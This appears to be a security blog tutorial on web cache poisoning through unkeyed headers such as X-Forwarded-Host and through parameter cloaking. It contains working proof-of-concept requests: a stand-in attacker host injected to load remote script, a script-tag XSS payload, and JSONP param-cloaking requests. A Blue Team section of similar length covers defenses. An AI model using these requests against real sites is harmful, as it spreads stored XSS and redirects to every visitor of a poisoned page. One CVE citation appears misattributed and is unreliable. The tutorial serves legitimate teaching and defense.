Web Cache Poisoning: Weaponizing Unkeyed Input

Web Exploitation
Time it takes to read this article 5 minutes.

Introduction / Overview

Web cache poisoning is a deceptively elegant attack: instead of compromising a server directly, you trick a shared cache (a CDN, reverse proxy, or load balancer) into storing a malicious response and serving it to every subsequent visitor. A single crafted request can turn a transient, self-only quirk into stored cross-site scripting (XSS), open redirects, or denial of service that affects thousands of users.

In this article you'll learn how cache keys work, why unkeyed input is the root cause, how headers like X-Forwarded-Host become weapons, and the param cloaking trick that defeats naive cache normalization. We finish with a Blue Team section weighted equally to the offense.

Disclaimer: This content is for education and authorized security testing only. Test exclusively against systems you own or have explicit written permission to assess. Unauthorized cache poisoning can disrupt service for real users and is illegal in most jurisdictions.

How it works / Background

A cache decides whether two requests are "the same" using a cache key — typically the HTTP method, host, path, and query string. Everything else in the request (most headers, cookies, sometimes specific query parameters) is treated as unkeyed input: it is not part of the key but may still influence the response body.

That mismatch is the vulnerability. If an unkeyed header changes the response, an attacker can send a request whose key matches the page victims will request, but whose unkeyed input injects a payload. The cache stores the poisoned response under the clean key, then replays it to everyone.

The classic vector is reflected host headers. Many frameworks build absolute URLs (canonical links, password-reset links, imported scripts) from the Host header — or from proxy headers like X-Forwarded-Host that the origin trusts. Because X-Forwarded-Host is usually unkeyed, this is ideal for poisoning:

GET /en/ HTTP/1.1
Host: www.example.com
X-Forwarded-Host: evil-attacker.net
HTTP

If the origin reflects that value into a <script src="//evil-attacker.net/..."> and the cache stores it, every visitor to /en/ loads attacker-controlled JavaScript.

Prerequisites / Lab setup

You need an interception proxy and a way to inspect cache behavior. The standard toolkit:

  • Burp Suite with the Param Miner extension (by James Kettle / PortSwigger), which automates discovery of unkeyed inputs and cache-key parsing quirks.
  • A target you control. Spin up a quick lab with Varnish in front of a small origin:
docker run -d --name origin -p 8080:80 nginxdemos/hello
docker run -d --name cache -p 8000:80 \
  -e VARNISH_BACKEND_HOST=host.docker.internal \
  -e VARNISH_BACKEND_PORT=8080 \
  varnish:7.4
Bash

The signal you watch for is the cache status. Most CDNs expose it:

curl -sI "http://target.local/en/" | grep -iE 'x-cache|age|cf-cache-status|cache-control'
# X-Cache: miss   -> response came from origin (your chance to poison)
# X-Cache: hit    -> response served from cache (poison confirmed if payload present)
# Age: 0          -> freshly cached
Bash

Attack walkthrough / PoC

Step 1 — Identify an unkeyed input that reaches the body.
Send a junk header and look for reflection. A cache-buster (a unique, never-cached query value) keeps you from poisoning real users while you research:

curl -s "http://target.local/en/?cb=$(date +%s)" \
  -H "X-Forwarded-Host: canary12345.test" | grep -i "canary12345"
Bash

If canary12345.test appears in the response (e.g., inside a <link rel="canonical"> or a script src), the header is reflected and unkeyed.

Step 2 — Confirm the response is cacheable.
Repeat without the cache-buster twice. If the second request returns X-Cache: hit and contains your value, the cache stored attacker-influenced content.

Step 3 — Escalate to XSS.
Point the header at a host you control that serves a payload, or break out of the attribute context:

curl -s "http://target.local/en/" \
  -H 'X-Forwarded-Host: a."><script>alert(document.domain)</script>'
Bash

Step 4 — Param cloaking.
Caches and origins parse query strings differently. Suppose the cache strips utm_* parameters from the key but the application uses a delimiter the cache doesn't recognize (e.g., ;). You can hide a keyed-looking parameter from the cache while the origin still processes it:

GET /js/geolocate.js?callback=setCountry;utm_source=x HTTP/1.1
Host: target.local
HTTP

Ruby/Rack historically split on ; as a parameter delimiter while many caches do not — so the cache keys on the full string but the app sees a different callback, letting you cache-poison a JSONP endpoint. The inverse, parameter cloaking via duplicate keys (?callback=legit&callback=evil), abuses last-vs-first parameter precedence differences between cache and origin.

Step 5 — Cache key normalization abuse (fat GET / unkeyed query).
Some endpoints read the request body or a non-standard parameter that the cache ignores entirely. PortSwigger's research documented exactly this class, and CDNs have shipped fixes — e.g., CVE-2021-23337-adjacent normalization issues and numerous vendor advisories around X-Forwarded-Host handling.

Once confirmed, the impact is the cached page itself: persistent XSS, redirect to phishing, or serving a broken/empty body for DoS.

Mermaid diagram

Web Cache Poisoning: Weaponizing Unkeyed Input diagram 1

The attacker seeds a poisoned response via an unkeyed header; the cache then replays it to every victim requesting the same key.

Detection & Defense (Blue Team)

Mitigation deserves the same rigor as exploitation. Defense works at three layers.

1. Eliminate unkeyed reflection. The cleanest fix is making sure inputs that influence the response are either in the cache key or never trusted. Strip proxy headers at the edge before they reach the origin:

# At the trusted reverse proxy / first hop
proxy_set_header X-Forwarded-Host "";
proxy_set_header X-Forwarded-Scheme "";
proxy_set_header X-Forwarded-Server "";
Nginx

In the application, derive absolute URLs from a hardcoded canonical host or an allowlist, never from Host/X-Forwarded-Host. Django enforces this with ALLOWED_HOSTS; Rails with config.hosts.

2. Make the cache key complete. If a header must influence the response, key on it explicitly via Vary:

Vary: X-Forwarded-Host, Accept-Encoding
HTTP

For CDNs, configure cache key normalization to include the relevant parameters and to drop ambiguous delimiters. In Varnish, sanitize before lookup:

sub vcl_recv {
    unset req.http.X-Forwarded-Host;
    # Normalize query string ordering to defeat param-order cloaking
    set req.url = std.querysort(req.url);
}
Plaintext

3. Detect poisoning in production.

  • Alert when a cached response for a high-traffic key contains an external host not on your allowlist (parse Set-Cookie, <script src>, Location).
  • Monitor cache Age versus content drift; a long-lived hit serving anomalous bytes is a red flag.
  • Run continuous safe scans with Param Miner's "Guess headers" in a staging gate, and fuzz for query-delimiter discrepancies between your CDN and origin.

This maps to MITRE ATT&CK T1557 (Adversary-in-the-Middle) and the broader OWASP cache-deception/poisoning guidance. Also harden against the sibling attack, web cache deception, where caches store private pages under public-looking URLs — see HTTP Request Smuggling for related desync primitives and Server-Side Template Injection for escalation once you control reflected output.

Conclusion

Web cache poisoning thrives on a single architectural gap: the cache and the origin disagree about which parts of a request matter. Unkeyed inputs like X-Forwarded-Host, combined with param cloaking, let an attacker convert their own request into a payload served to the world. Defenders close the gap by stripping untrusted headers at the edge, building URLs from allowlists, and making cache keys reflect every input that can change a response. For deeper offensive practice, pair this with CRLF Injection and Response Splitting.

References

Comments

Copied title and URL